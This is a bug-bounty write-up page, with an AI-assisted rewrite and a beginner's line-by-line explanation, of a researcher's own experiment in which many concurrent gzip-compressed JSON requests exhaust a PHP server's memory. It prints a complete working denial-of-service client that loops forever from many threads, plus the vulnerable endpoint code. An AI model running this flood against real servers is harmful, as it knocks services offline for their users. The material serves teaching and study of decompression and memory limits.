Skip to content
DoS Write-up Intermediate

I Sent a Tiny GZIP Request to PHP. And It Died.

A PHP script that decompresses GZIP request bodies and decodes JSON can be overwhelmed by many concurrent requests containing highly compressible JSON, causing excessive memory use. An attacker could send such requests to exhaust server memory and crash the service.

Eduardo Nascimento Follow

Published on medium.com

Bug Bounty

Eduardo Nascimento (retr0), on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

This is a self-contained experiment rather than a report against a live bug bounty target. The researcher, Eduardo Nascimento (retr0), was exploring how PHP's built-in gzdecode() behaves when it is handed compressed input, and how much work the server does after decompression. The feature under test is a small PHP endpoint that accepts a GZIP-compressed JSON body, decompresses it, decodes it with json_decode(), and then simulates application-level processing by copying the decoded data into another array.

The point of interest is the gap between the size of a request on the wire and the amount of data the server has to process. Repetitive JSON compresses extremely well, so a request can look small in transit while the decompressed string, and the PHP data structures built from it, are much larger.

Setup

The researcher used two machines: a VPS running Apache with PHP as the server, and a local machine as the attacker. The PHP endpoint is placed at index.php on the Apache document root. The client is a Python script that needs the requests library:

Bash
pip install requests

The server code is the complete index.php shown in the exploitation section below. The client is run with two arguments: the number of JSON keys and the number of requests.

Finding it

The starting observation is that gzdecode() accepts a second argument that caps the decompressed output size. In the researcher's first sketch the call is:

PHP
$json = gzdecode($body, 10 * 1024 * 1024);

That sets a maximum decompressed output of 10 MB. The researcher notes that this limit only covers decompression. After that, the string still has to be parsed by json_decode(), and PHP has to build its own arrays from it. A PHP array can consume considerably more memory than the JSON string it was parsed from, so capping the decompressed size does not cap the memory the request ultimately costs.

Exploitation

Step 1: Generate repetitive JSON

The client builds a dictionary of keys with identical values:

Python
payload = {
    f"user_{i}": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    for i in range(num_keys)
}
Python
json_data = json.dumps(payload).encode("utf-8")

Each key is user_<n> and each value is a run of A characters. The repetition is deliberate: it is what makes the compressed form small relative to the original.

Step 2: Compress and verify

The JSON is compressed at the maximum level:

Python
compressed_data = gzip.compress(
    json_data,
    compresslevel=9
)

The researcher adds a round-trip check so the payload is known to be valid before it is sent:

Python
assert gzip.decompress(compressed_data) == json_data

The client prints the key count, the original size, the compressed size, the GZIP signature and the compression ratio, so the difference between the two sizes is visible before any request goes out.

Step 3: Send the compressed body

The request carries the compressed bytes as the body and declares both the content type and the encoding:

HTTP
Content-Type: application/json
Content-Encoding: gzip

On the server, the body is read raw:

PHP
$body = file_get_contents("php://input");

At this point PHP holds the compressed bytes. The endpoint checks the declared Content-Encoding against the actual bytes: it treats the body as GZIP only if the first two bytes are \x1f\x8b, rejects a body that declares gzip but is not gzip, rejects a gzip body sent without the header, and returns 415 for any encoding other than gzip or identity.

Step 4: Decompress, then decode

When the body is gzip, the server decompresses it with the 10 MB cap:

PHP
$json = gzdecode($body, 10 * 1024 * 1024);

It then decodes the resulting string:

PHP
$data = json_decode(
    $json,
    true,
    512,
    JSON_THROW_ON_ERROR
);

The researcher illustrates the shape of the data being parsed with a small example:

JSON
{
    "user_1": "AAAAAAAAAAAAAAAA",
    "user_2": "AAAAAAAAAAAAAAAA",
    "user_3": "AAAAAAAAAAAAAAAA"
}

PHP has to parse every key and value and build an array to represent them. The decoded array can use considerably more memory than the JSON string it came from.

Step 5: Simulate application processing

The endpoint then copies the decoded data into a second array, standing in for whatever an application does after decoding:

PHP
$memoryStore = [];
PHP
foreach ($data as $key => $value) {
    $memoryStore[$key] = $value;
}

The researcher is explicit that this is a simplified simulation: real applications might validate fields, access databases, serialise objects or do other work, and each additional operation adds processing and memory overhead.

Step 6: Concurrency

The client sends the same compressed payload repeatedly from multiple threads, started from the second command-line argument. Each in-flight request can hold memory for the compressed body, the decompressed JSON string, the decoded PHP array and the application-level copy, all at the same time. How far consumption grows depends on the number of PHP-FPM workers, available memory and server configuration.

The researcher notes that the first experiment used an infinite loop in every thread, and that a controlled investigation should use a finite number of requests and measure each stage separately. The published client still loops indefinitely inside each thread:

Python
def send_request():
    while 1:
        start = time.time()
        response = requests.post(
            URL,
            headers=headers,
            data=compressed_data,
            timeout=15
        )
        elapsed = time.time() - start
        print("\n[+] HTTP status:", response.status_code)
        print("[+] Request time:", round(elapsed, 5), "seconds")
        print("\n[+] SERVER RESPONSE:")
        print("Response length:", len(response.content))
        print("Content-Type:", response.headers.get("Content-Type"))
        try:
            print(json.dumps(response.json(), indent=4))
        except requests.exceptions.JSONDecodeError:
            print("Raw response:", repr(response.text))

Threads are started from the second command-line argument:

Python
threads = []
for i in range(0,int(sys.argv[2])):
    print("[+]setting threads:",i)
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)
print("[+]start attack")
(threading.Event()).set()

Step 7: Run it

The client is invoked with the number of keys and the number of threads:

Bash
python3 client.py 10000 100

The researcher advises starting with small values and increasing them gradually in an isolated test environment.

From the original on medium.com

The video shows the exploit running against the researcher's own VPS as the server, with the local machine as the attacker. The OOM killer terminates Apache and the server becomes completely unreachable until it is restarted.

The server code

This is the full index.php used for the experiment. It reads the request, detects GZIP, decompresses the body, decodes the JSON, simulates application processing, and returns timing and memory measurements.

PHP
<?php
error_reporting(E_ALL);
ini_set('display_errors', '0');
header("Content-Type: application/json; charset=utf-8");
function respond($status, $data) {
    http_response_code($status);
    echo json_encode($data, JSON_PRETTY_PRINT | JSON_INVALID_UTF8_SUBSTITUTE);
    exit;
}
try {
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        respond(405, ["error" => "POST required"]);
    }

    $body = file_get_contents("php://input");
    if ($body === false) {
        respond(400, ["error" => "Could not read request body"]);
    }
    $compressedSize = strlen($body);

    $declaredEncoding = strtolower(
        trim($_SERVER['HTTP_CONTENT_ENCODING'] ?? 'identity')
    );

    $isGzip = strlen($body) >= 2 &&
        substr($body, 0, 2) === "\x1f\x8b";
    $actualEncoding = $isGzip ? "gzip" : "identity";

    if ($declaredEncoding === "gzip" && !$isGzip) {
        respond(400, [
            "error" => "Gzip declared but body is not gzip",
            "declared_encoding" => $declaredEncoding,
            "actual_encoding" => $actualEncoding,
            "first_bytes" => bin2hex(substr($body, 0, 16))
        ]);
    }
    if ($declaredEncoding === "identity" && $isGzip) {
        respond(400, [
            "error" => "Gzip body received without Content-Encoding"
        ]);
    }
    if (!in_array($declaredEncoding, ["gzip", "identity"], true)) {
        respond(415, [
            "error" => "Unsupported encoding",
            "encoding" => $declaredEncoding
        ]);
    }

    $start = microtime(true);
    if ($isGzip) {
        $json = gzdecode($body, 10 * 1024 * 1024);
        if ($json === false) {
            respond(400, [
                "error" => "Gzip decompression failed",
                "first_bytes" => bin2hex(substr($body, 0, 16))
            ]);
        }
    } else {
        $json = $body;
    }
    $decompressionTime = microtime(true) - $start;
    $decodedSize = strlen($json);

    $start = microtime(true);
    $data = json_decode($json, true, 512, JSON_THROW_ON_ERROR);
    $jsonDecodeTime = microtime(true) - $start;
    if (!is_array($data)) {
        respond(400, ["error" => "JSON must contain an object or array"]);
    }

    $memoryStore = [];
    foreach ($data as $key => $value) {
        $memoryStore[$key] = $value;
    }

    respond(200, [
        "status" => "success",
        "encoding" => [
            "declared" => $declaredEncoding,
            "detected" => $actualEncoding,
            "is_gzip" => $isGzip
        ],
        "sizes" => [
            "compressed_bytes" => $compressedSize,
            "decompressed_bytes" => $decodedSize,
            "compression_ratio" => $compressedSize > 0
                ? round($decodedSize / $compressedSize, 2)
                : null
        ],
        "raw_preview" => [
            "hex" => bin2hex(substr($body, 0, 32)),
            "text" => substr($body, 0, 32)
        ],
        "timings" => [
            "decompression_ms" => round($decompressionTime * 1000, 4),
            "json_decode_ms" => round($jsonDecodeTime * 1000, 4),
            "total_ms" => round((microtime(true) - $_SERVER['REQUEST_TIME_FLOAT']) * 1000, 4)
        ],
        "memory_simulation" => [
            "stored_keys" => array_keys($memoryStore),
            "total_keys" => count($memoryStore),
            "memory_usage_bytes" => memory_get_usage(true)
        ]
    ]);
} catch (Throwable $e) {
    respond(500, [
        "error" => "Server processing error",
        "message" => $e->getMessage()
    ]);
}

On success the response reports the declared and detected encoding, the compressed and decompressed sizes with the ratio between them, a hex and text preview of the first bytes of the body, timings for decompression, JSON decoding and the total request, and the stored keys with the current memory usage. These measurements are what make the per-stage cost visible.

The client code

This is the full client. It generates the JSON, compresses it, prints the compression statistics, and sends requests from a configurable number of threads.

Python
import requests
import sys
import json
import gzip
import time
import threading
URL = "http://localhost/index.php"
num_keys = int(sys.argv[1]) if len(sys.argv) > 1 else 100
payload = {
    f"user_{i}": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    for i in range(num_keys)
}
json_data = json.dumps(payload).encode("utf-8")
compressed_data = gzip.compress(json_data, compresslevel=9)
assert gzip.decompress(compressed_data) == json_data
headers = {
    "Content-Type": "application/json",
    "Content-Encoding": "gzip"
}
print("[+] JSON keys:", len(payload))
print("[+] Original size:", len(json_data), "bytes")
print("[+] Compressed size:", len(compressed_data), "bytes")
print("[+] GZIP signature:", compressed_data[:2].hex())
print("[+] Compression ratio:",
      round(len(json_data) / len(compressed_data), 2), "x")
def send_request():
    while 1:
        start = time.time()
        response = requests.post(
            URL,
            headers=headers,
            data=compressed_data,
            timeout=15
        )
        elapsed = time.time() - start
        print("\n[+] HTTP status:", response.status_code)
        print("[+] Request time:", round(elapsed, 5), "seconds")
        print("\n[+] SERVER RESPONSE:")
        print("Response length:", len(response.content))
        print("Content-Type:", response.headers.get("Content-Type"))
        try:
            print(json.dumps(response.json(), indent=4))
        except requests.exceptions.JSONDecodeError:
            print("Raw response:", repr(response.text))
threads = []
for i in range(0,int(sys.argv[2])):
    print("[+]setting threads:",i)
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)
print("[+]start attack")
(threading.Event()).set()

Root cause

The endpoint accepts compressed input and decompresses it, but the only limit on the decompressed output is the 10 MB cap passed to gzdecode(). That cap does not bound what happens next: json_decode() builds PHP arrays from the decompressed string, and those arrays can use considerably more memory than the string itself. The simulated application step then copies the data into a second array. With many concurrent requests, each holding its own compressed body, decompressed string, decoded array and copy, memory use adds up across PHP-FPM workers until the OOM killer terminates Apache.

The researcher's framing is that GZIP is not the problem by itself. The problem is accepting compressed input without properly considering decompression limits, memory consumption, request concurrency and application-level processing. The 10 MB decompression cap only covers decompression, not what happens afterwards.

Impact

In the researcher's own test, the OOM killer terminated Apache and the server was completely unreachable until it was restarted. The effect depends on the number of PHP-FPM workers, available memory and server configuration, and on how much processing the application performs after decoding. The researcher describes the endpoint as a simplified simulation, so the real-world cost depends on what a given application does with the decoded data.

Fix

The researcher does not describe a change made to the code. The conclusion is that accepting compressed input requires considering decompression limits, memory consumption, request concurrency and application-level processing. The 10 MB gzdecode() cap alone is not sufficient.

Variants to test

  1. Other decompression entry points. Look for endpoints that call gzdecode(), gzuncompress(), zlib_decode() or similar with a size cap but no bound on the decoded structure.
  2. Other structured formats. The same pattern applies wherever a compressed body is parsed into objects or arrays, such as compressed XML or compressed form data.
  3. Concurrency without a per-request cap. Send the same small compressed payload from many threads against a staging instance and watch worker memory.
  4. Application-level amplification. Add realistic post-decode work, such as validation or serialisation, and measure whether the per-request cost rises further.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

A security researcher, Eduardo Nascimento (retr0), spent some free time poking at PHP, the programming language that powers a huge share of the web. He wanted to understand how much work a server actually does when it receives a compressed request. The answer turned out to be: far more than the size of the request suggests.

He built a tiny test website with one page, index.php, that accepts a compressed blob of data, unpacks it, turns it into a PHP data structure, and then copies that structure into a second one. Then he wrote a small program that sends the same compressed blob over and over, from many threads at once. On his own test server, the machine ran out of memory, the operating system's out-of-memory killer terminated Apache (the web server software), and the server became completely unreachable until it was restarted.

This is not a report against somebody else's bug bounty target. It is a self-contained experiment on the researcher's own VPS (a rented server in the cloud) with his own laptop as the attacker. The lesson is general: a request can look small on the network and still be expensive for the server to process.

A few words you will meet constantly below:

  • Server: a computer somewhere that answers requests from other computers. When you open a website, your browser asks a server for a page.
  • Request: the message your browser (or a script) sends to a server, for example "please give me this page" or "please process this data".
  • Response: the message the server sends back.
  • PHP: a programming language commonly used to build the server side of websites. The page index.php is a PHP program that runs on the server each time it is requested.
  • Apache: web server software that receives requests and hands them to PHP.
  • VPS: a virtual private server, a machine you rent in a data centre.

Context

This is a self-contained experiment rather than a report against a live bug bounty target. The researcher was exploring how PHP's built-in gzdecode() behaves when it is handed compressed input, and how much work the server does after decompression. The feature under test is a small PHP endpoint that accepts a GZIP-compressed JSON body, decompresses it, decodes it with json_decode(), and then simulates application-level processing by copying the decoded data into another array.

Some of those terms deserve a plain explanation before we go further:

  • Endpoint: one specific address on a server that does one specific job, like a single counter window in a large office. index.php is the endpoint here.
  • JSON: a text format for structured data, made of keys and values, like a very tidy shopping list. {"name": "Ana", "age": 30} is JSON.
  • GZIP: a compression format, the same idea as zipping a file on your desktop. It turns data into a smaller blob that can be unpacked later, byte for byte identical to the original.
  • Compressed body: the "body" is the main content of a request, the part after the address and headers. Here the body is the GZIP blob.
  • gzdecode(): a PHP function that takes a GZIP blob and returns the original data.
  • json_decode(): a PHP function that takes JSON text and turns it into PHP's own data structures (arrays), which the program can then work with.
  • Array: an ordered collection of values, like a numbered list or a table of key/value pairs.

The point of interest is the gap between the size of a request on the wire and the amount of data the server has to process. Repetitive JSON compresses extremely well, so a request can look small in transit while the decompressed string, and the PHP data structures built from it, are much larger.

An everyday comparison: imagine posting a tiny envelope that contains a note saying "please unfold the giant map in the cupboard and copy it by hand". The envelope is light; the work is not. Compression is exactly that trick, done with maths instead of a cupboard.

Setup

The researcher used two machines: a VPS running Apache with PHP as the server, and a local machine as the attacker. The PHP endpoint is placed at index.php on the Apache document root. The client is a Python script that needs the requests library:

Bash
pip install requests

Line by line:

  • pip is Python's package installer, the tool that fetches extra libraries for you.
  • install requests tells it to download and install requests, a popular library that makes it easy for a Python script to send HTTP requests, the same kind of messages a browser sends.

Why this step: the client script uses requests to talk to the server, so the library must be present before the script can run.

The server code is the complete index.php shown in the exploitation section below. The client is run with two arguments: the number of JSON keys and the number of requests.

  • Thread: a separate line of execution inside one program. A program with several threads can do several things at the same time, like a cook with several pans on the stove.

Finding it

The starting observation is that gzdecode() accepts a second argument that caps the decompressed output size. In the researcher's first sketch the call is:

PHP
$json = gzdecode($body, 10 * 1024 * 1024);

Line by line:

  • $body is a PHP variable holding the compressed bytes that arrived in the request.
  • 10 * 1024 * 1024 is 10 megabytes (10 times 1024 times 1024 bytes). This is the maximum size of the unpacked result. If the unpacked data would be bigger, the function refuses.
  • $json receives the unpacked text, which is expected to be JSON.

That sets a maximum decompressed output of 10 MB. The researcher notes that this limit only covers decompression. After that, the string still has to be parsed by json_decode(), and PHP has to build its own arrays from it. A PHP array can consume considerably more memory than the JSON string it was parsed from, so capping the decompressed size does not cap the memory the request ultimately costs.

Why this matters: the 10 MB cap feels like a safety net, but it guards only the first step. Think of a bouncer who checks that a bag is no bigger than 10 litres, then lets the visitor unpack it in the lobby and fill three trolleys with the contents. The bag was small; the mess is not.

Exploitation

Step 1: Generate repetitive JSON

The client builds a dictionary of keys with identical values:

Python
payload = {
    f"user_{i}": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    for i in range(num_keys)
}

Line by line:

  • payload = { ... } creates a Python dictionary, a collection of key/value pairs.
  • for i in range(num_keys) repeats the following expression once for each number from 0 up to num_keys - 1.
  • f"user_{i}" builds a key name by inserting the current number into the text, giving user_0, user_1, user_2 and so on.
  • "AAAAAAAA..." is the value: a long run of the letter A, identical for every key.

Why this step: the repetition is deliberate. Compression algorithms look for repeated patterns and replace them with short references. Forty identical A characters cost almost nothing once compressed, so the same value repeated across thousands of keys compresses extremely well.

Python
json_data = json.dumps(payload).encode("utf-8")

Line by line:

  • json.dumps(payload) turns the Python dictionary into JSON text.
  • .encode("utf-8") turns that text into bytes, the raw form that can be compressed and sent over the network.
  • json_data now holds the JSON as bytes.

Each key is user_<n> and each value is a run of A characters. The repetition is deliberate: it is what makes the compressed form small relative to the original.

Step 2: Compress and verify

The JSON is compressed at the maximum level:

Python
compressed_data = gzip.compress(
    json_data,
    compresslevel=9
)

Line by line:

  • gzip.compress(...) is Python's GZIP compressor.
  • json_data is the input to compress.
  • compresslevel=9 asks for the strongest compression. Higher levels take more effort to compress but usually produce smaller output.
  • compressed_data receives the resulting GZIP blob.

The researcher adds a round-trip check so the payload is known to be valid before it is sent:

Python
assert gzip.decompress(compressed_data) == json_data

Line by line:

  • gzip.decompress(compressed_data) unpacks the blob again.
  • == json_data compares the unpacked bytes with the original bytes.
  • assert makes the program stop with an error if the comparison is false.

Why this step: it proves the compressed blob really does unpack to exactly the original data. Without it, a bug in the generation code could produce a broken payload and send the researcher debugging in the wrong direction for hours.

The client prints the key count, the original size, the compressed size, the GZIP signature and the compression ratio, so the difference between the two sizes is visible before any request goes out.

  • GZIP signature: the first two bytes of every GZIP blob, 1f 8b in hexadecimal. It is like a stamp on the envelope saying "this is GZIP".
  • Compression ratio: how many times smaller the compressed data is compared with the original. A ratio of 100x means the compressed blob is one hundredth of the original size.

Step 3: Send the compressed body

The request carries the compressed bytes as the body and declares both the content type and the encoding:

HTTP
Content-Type: application/json
Content-Encoding: gzip

Line by line:

  • Content-Type: application/json is a header telling the server what kind of data the body contains: JSON.

  • Content-Encoding: gzip is a header telling the server that the body has been compressed with GZIP and must be unpacked first.

  • Header: a small labelled line attached to a request or response, carrying metadata such as the data type or the encoding. Think of the label on a parcel.

On the server, the body is read raw:

PHP
$body = file_get_contents("php://input");

Line by line:

  • file_get_contents(...) reads the contents of something into a string.
  • "php://input" is a special PHP address that means "the raw body of the incoming request".
  • $body now holds the compressed bytes exactly as they arrived.

At this point PHP holds the compressed bytes. The endpoint checks the declared Content-Encoding against the actual bytes: it treats the body as GZIP only if the first two bytes are \x1f\x8b, rejects a body that declares gzip but is not gzip, rejects a gzip body sent without the header, and returns 415 for any encoding other than gzip or identity.

  • identity: the encoding name for "no compression at all".
  • 415: an HTTP status code meaning "unsupported media type", the server saying it does not accept this kind of data.

Why this step: the server does not simply trust the header. It looks at the actual bytes, so a client cannot claim one thing and send another. This is good hygiene, and it is also why the exploit must send a genuinely valid GZIP blob.

Step 4: Decompress, then decode

When the body is gzip, the server decompresses it with the 10 MB cap:

PHP
$json = gzdecode($body, 10 * 1024 * 1024);

Line by line:

  • $body is the compressed bytes read from the request.
  • gzdecode(...) unpacks them.
  • 10 * 1024 * 1024 caps the unpacked result at 10 MB.
  • $json receives the unpacked JSON text.

It then decodes the resulting string:

PHP
$data = json_decode(
    $json,
    true,
    512,
    JSON_THROW_ON_ERROR
);

Line by line:

  • json_decode(...) turns JSON text into PHP data.
  • $json is the text to parse.
  • true asks for associative arrays, meaning JSON objects become PHP arrays with named keys rather than generic objects.
  • 512 is the maximum nesting depth, how deeply objects and arrays may be nested inside each other.
  • JSON_THROW_ON_ERROR makes the function raise an error if the JSON is malformed, instead of quietly returning nothing.
  • $data receives the resulting PHP array.

The researcher illustrates the shape of the data being parsed with a small example:

JSON
{
    "user_1": "AAAAAAAAAAAAAAAA",
    "user_2": "AAAAAAAAAAAAAAAA",
    "user_3": "AAAAAAAAAAAAAAAA"
}

Line by line:

  • The outer braces { } mark a JSON object, a collection of key/value pairs.
  • "user_1" is a key, a name.
  • "AAAAAAAAAAAAAAAA" is the value stored under that key.
  • Commas separate the pairs; the real payload has thousands of such pairs instead of three.

PHP has to parse every key and value and build an array to represent them. The decoded array can use considerably more memory than the JSON string it came from.

Why this matters: a text string is compact, just characters in a row. A PHP array is a real data structure with internal bookkeeping for every key and value. Unpacking text into that structure costs memory, and the cost grows with the number of entries, not just with the number of characters.

Step 5: Simulate application processing

The endpoint then copies the decoded data into a second array, standing in for whatever an application does after decoding:

PHP
$memoryStore = [];

Line by line:

  • $memoryStore = []; creates an empty PHP array and stores it in a variable called $memoryStore.
PHP
foreach ($data as $key => $value) {
    $memoryStore[$key] = $value;
}

Line by line:

  • foreach ($data as $key => $value) walks through every pair in the decoded array, putting the key in $key and the value in $value on each pass.
  • $memoryStore[$key] = $value; stores the same value under the same key in the second array.
  • The braces { } mark the block of code repeated for every pair.

The researcher is explicit that this is a simplified simulation: real applications might validate fields, access databases, serialise objects or do other work, and each additional operation adds processing and memory overhead.

Why this step: it shows that the cost does not stop at decoding. A typical application does something with the decoded data, and that something usually means holding yet another copy in memory. The second array holds another copy of the same data in memory.

Step 6: Concurrency

The client sends the same compressed payload repeatedly from multiple threads, started from the second command-line argument. Each in-flight request can hold memory for the compressed body, the decompressed JSON string, the decoded PHP array and the application-level copy, all at the same time. How far consumption grows depends on the number of PHP-FPM workers, available memory and server configuration.

  • Concurrency: several requests being handled at the same time rather than one after another.
  • PHP-FPM worker: a process on the server that runs PHP code for one request at a time. A pool of workers lets the server handle several requests in parallel. Each worker has its own memory.

The researcher notes that the first experiment used an infinite loop in every thread, and that a controlled investigation should use a finite number of requests and measure each stage separately. The published client still loops indefinitely inside each thread:

Python
def send_request():
    while 1:
        start = time.time()
        response = requests.post(
            URL,
            headers=headers,
            data=compressed_data,
            timeout=15
        )
        elapsed = time.time() - start
        print("\n[+] HTTP status:", response.status_code)
        print("[+] Request time:", round(elapsed, 5), "seconds")
        print("\n[+] SERVER RESPONSE:")
        print("Response length:", len(response.content))
        print("Content-Type:", response.headers.get("Content-Type"))
        try:
            print(json.dumps(response.json(), indent=4))
        except requests.exceptions.JSONDecodeError:
            print("Raw response:", repr(response.text))

Line by line:

  • def send_request(): defines a function, a named block of code that can be run later, here once per thread.
  • while 1: repeats the block forever, because 1 is always true. This is the infinite loop the researcher mentions.
  • start = time.time() records the current time, to measure how long the request takes.
  • requests.post(...) sends an HTTP POST request, the method used to submit data to a server.
  • URL is the address of the endpoint, http://localhost/index.php.
  • headers=headers attaches the two headers defined earlier, the content type and the encoding.
  • data=compressed_data puts the compressed blob in the request body.
  • timeout=15 gives up if the server does not answer within 15 seconds.
  • response holds whatever the server sends back.
  • elapsed = time.time() - start computes how many seconds the request took.
  • The print lines report the HTTP status code (200 for success, 400 or 500 for errors), the request time, the response length and the content type.
  • try: starts a block that may fail.
  • response.json() tries to read the response body as JSON.
  • json.dumps(..., indent=4) formats that JSON nicely with indentation before printing it.
  • except requests.exceptions.JSONDecodeError: catches the case where the response is not valid JSON.
  • print("Raw response:", repr(response.text)) then prints the raw text instead, so nothing is lost.

Threads are started from the second command-line argument:

Python
threads = []
for i in range(0,int(sys.argv[2])):
    print("[+]setting threads:",i)
    t = threading.Thread(target=send_request)
    t.start()
    threads.append(t)
print("[+]start attack")
(threading.Event()).set()

Line by line:

  • threads = [] creates an empty list to keep track of the threads.
  • for i in range(0,int(sys.argv[2])): repeats once for each number from 0 up to the second command-line argument minus one. sys.argv[2] is the second argument given when the script is run.
  • print("[+]setting threads:",i) prints which thread number is being started.
  • t = threading.Thread(target=send_request) creates a thread that will run the send_request function.
  • t.start() actually starts it.
  • threads.append(t) adds it to the list so it is not lost.
  • print("[+]start attack") announces that all threads have been launched.
  • (threading.Event()).set() creates an event object and sets it. In this script it does nothing useful; it is a leftover line.

Why this step: one request at a time might be handled comfortably. Many requests at once, each holding several copies of the data in memory, is what turns a per-request cost into a server-wide problem.

Step 7: Run it

The client is invoked with the number of keys and the number of threads:

Bash
python3 client.py 10000 100

Line by line:

  • python3 runs the Python interpreter.
  • client.py is the script file.
  • 10000 is the first argument, the number of JSON keys, so the payload has ten thousand entries.
  • 100 is the second argument, the number of threads, so one hundred loops send requests at the same time.

The researcher advises starting with small values and increasing them gradually in an isolated test environment.

  • Isolated test environment: a machine or network set aside for experiments, so that nothing real is affected when things go wrong.
From the original on medium.com

The video shows the exploit running against the researcher's own VPS as the server, with the local machine as the attacker. The OOM killer terminates Apache and the server becomes completely unreachable until it is restarted.

  • OOM killer: the part of the operating system that steps in when memory is exhausted. It picks a process and kills it to keep the machine alive. Here it picked Apache.

The server code

This is the full index.php used for the experiment. It reads the request, detects GZIP, decompresses the body, decodes the JSON, simulates application processing, and returns timing and memory measurements.

PHP
<?php
error_reporting(E_ALL);
ini_set('display_errors', '0');
header("Content-Type: application/json; charset=utf-8");
function respond($status, $data) {
    http_response_code($status);
    echo json_encode($data, JSON_PRETTY_PRINT | JSON_INVALID_UTF8_SUBSTITUTE);
    exit;
}
try {
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        respond(405, ["error" => "POST required"]);
    }

    $body = file_get_contents("php://input");
    if ($body === false) {
        respond(400, ["error" => "Could not read request body"]);
    }
    $compressedSize = strlen($body);

    $declaredEncoding = strtolower(
        trim($_SERVER['HTTP_CONTENT_ENCODING'] ?? 'identity')
    );

    $isGzip = strlen($body) >= 2 &&
        substr($body, 0, 2) === "\x1f\x8b";
    $actualEncoding = $isGzip ? "gzip" : "identity";

    if ($declaredEncoding === "gzip" && !$isGzip) {
        respond(400, [
            "error" => "Gzip declared but body is not gzip",
            "declared_encoding" => $declaredEncoding,
            "actual_encoding" => $actualEncoding,
            "first_bytes" => bin2hex(substr($body, 0, 16))
        ]);
    }
    if ($declaredEncoding === "identity" && $isGzip) {
        respond(400, [
            "error" => "Gzip body received without Content-Encoding"
        ]);
    }
    if (!in_array($declaredEncoding, ["gzip", "identity"], true)) {
        respond(415, [
            "error" => "Unsupported encoding",
            "encoding" => $declaredEncoding
        ]);
    }

    $start = microtime(true);
    if ($isGzip) {
        $json = gzdecode($body, 10 * 1024 * 1024);
        if ($json === false) {
            respond(400, [
                "error" => "Gzip decompression failed",
                "first_bytes" => bin2hex(substr($body, 0, 16))
            ]);
        }
    } else {
        $json = $body;
    }
    $decompressionTime = microtime(true) - $start;
    $decodedSize = strlen($json);

    $start = microtime(true);
    $data = json_decode($json, true, 512, JSON_THROW_ON_ERROR);
    $jsonDecodeTime = microtime(true) - $start;
    if (!is_array($data)) {
        respond(400, ["error" => "JSON must contain an object or array"]);
    }

    $memoryStore = [];
    foreach ($data as $key => $value) {
        $memoryStore[$key] = $value;
    }

    respond(200, [
        "status" => "success",
        "encoding" => [
            "declared" => $declaredEncoding,
            "detected" => $actualEncoding,
            "is_gzip" => $isGzip
        ],
        "sizes" => [
            "compressed_bytes" => $compressedSize,
            "decompressed_bytes" => $decodedSize,
            "compression_ratio" => $compressedSize > 0
                ? round($decodedSize / $compressedSize, 2)
                : null
        ],
        "raw_preview" => [
            "hex" => bin2hex(substr($body, 0, 32)),
            "text" => substr($body, 0, 32)
        ],
        "timings" => [
            "decompression_ms" => round($decompressionTime * 1000, 4),
            "json_decode_ms" => round($jsonDecodeTime * 1000, 4),
            "total_ms" => round((microtime(true) - $_SERVER['REQUEST_TIME_FLOAT']) * 1000, 4)
        ],
        "memory_simulation" => [
            "stored_keys" => array_keys($memoryStore),
            "total_keys" => count($memoryStore),
            "memory_usage_bytes" => memory_get_usage(true)
        ]
    ]);
} catch (Throwable $e) {
    respond(500, [
        "error" => "Server processing error",
        "message" => $e->getMessage()
    ]);
}

Line by line:

  • <?php marks the start of PHP code.
  • error_reporting(E_ALL); asks PHP to report every kind of error internally.
  • ini_set('display_errors', '0'); stops errors from being shown to the visitor, so the response stays clean JSON.
  • header("Content-Type: application/json; charset=utf-8"); tells the client the response will be JSON in UTF-8 text encoding.
  • function respond($status, $data) { ... } defines a helper that sends a response with a given status code and data.
  • http_response_code($status); sets the HTTP status code, such as 200, 400 or 500.
  • echo json_encode($data, ...); converts the PHP data to JSON text and sends it.
  • JSON_PRETTY_PRINT formats the JSON with indentation; JSON_INVALID_UTF8_SUBSTITUTE replaces invalid characters instead of failing.
  • exit; stops the script immediately after responding.
  • try { ... } starts a block whose errors can be caught at the end.
  • if ($_SERVER['REQUEST_METHOD'] !== 'POST') checks whether the request method is POST, the method used to submit data. $_SERVER is a PHP array of request details.
  • respond(405, ["error" => "POST required"]); answers 405, "method not allowed", if it is not a POST.
  • $body = file_get_contents("php://input"); reads the raw request body.
  • if ($body === false) checks whether reading failed.
  • respond(400, ...) answers 400, "bad request", if it did.
  • $compressedSize = strlen($body); records the size of the body in bytes.
  • $declaredEncoding = strtolower(trim($_SERVER['HTTP_CONTENT_ENCODING'] ?? 'identity')); reads the Content-Encoding header, trims spaces, lowercases it, and falls back to identity if the header is missing.
  • $isGzip = strlen($body) >= 2 && substr($body, 0, 2) === "\x1f\x8b"; checks that the body is at least two bytes long and starts with the GZIP signature.
  • $actualEncoding = $isGzip ? "gzip" : "identity"; labels the body as gzip or identity based on the bytes, not the header.
  • The first if rejects a body that claims gzip but lacks the signature, returning 400 with the declared and actual encodings and the first 16 bytes in hex.
  • The second if rejects a gzip body sent without the header, returning 400.
  • if (!in_array($declaredEncoding, ["gzip", "identity"], true)) rejects any other encoding name with 415.
  • $start = microtime(true); records a high-precision timestamp before decompression.
  • if ($isGzip) { ... } else { $json = $body; } decompresses when the body is gzip, otherwise uses the body as is.
  • $json = gzdecode($body, 10 * 1024 * 1024); unpacks with the 10 MB cap.
  • if ($json === false) handles a decompression failure with 400 and the first bytes in hex.
  • $decompressionTime = microtime(true) - $start; measures how long decompression took.
  • $decodedSize = strlen($json); records the size of the unpacked data.
  • $start = microtime(true); starts a new timer for JSON decoding.
  • $data = json_decode($json, true, 512, JSON_THROW_ON_ERROR); parses the JSON into a PHP array.
  • $jsonDecodeTime = microtime(true) - $start; measures how long parsing took.
  • if (!is_array($data)) rejects JSON that is not an object or array with 400.
  • $memoryStore = []; creates the second array.
  • foreach ($data as $key => $value) { $memoryStore[$key] = $value; } copies every pair into it, the simulated application work.
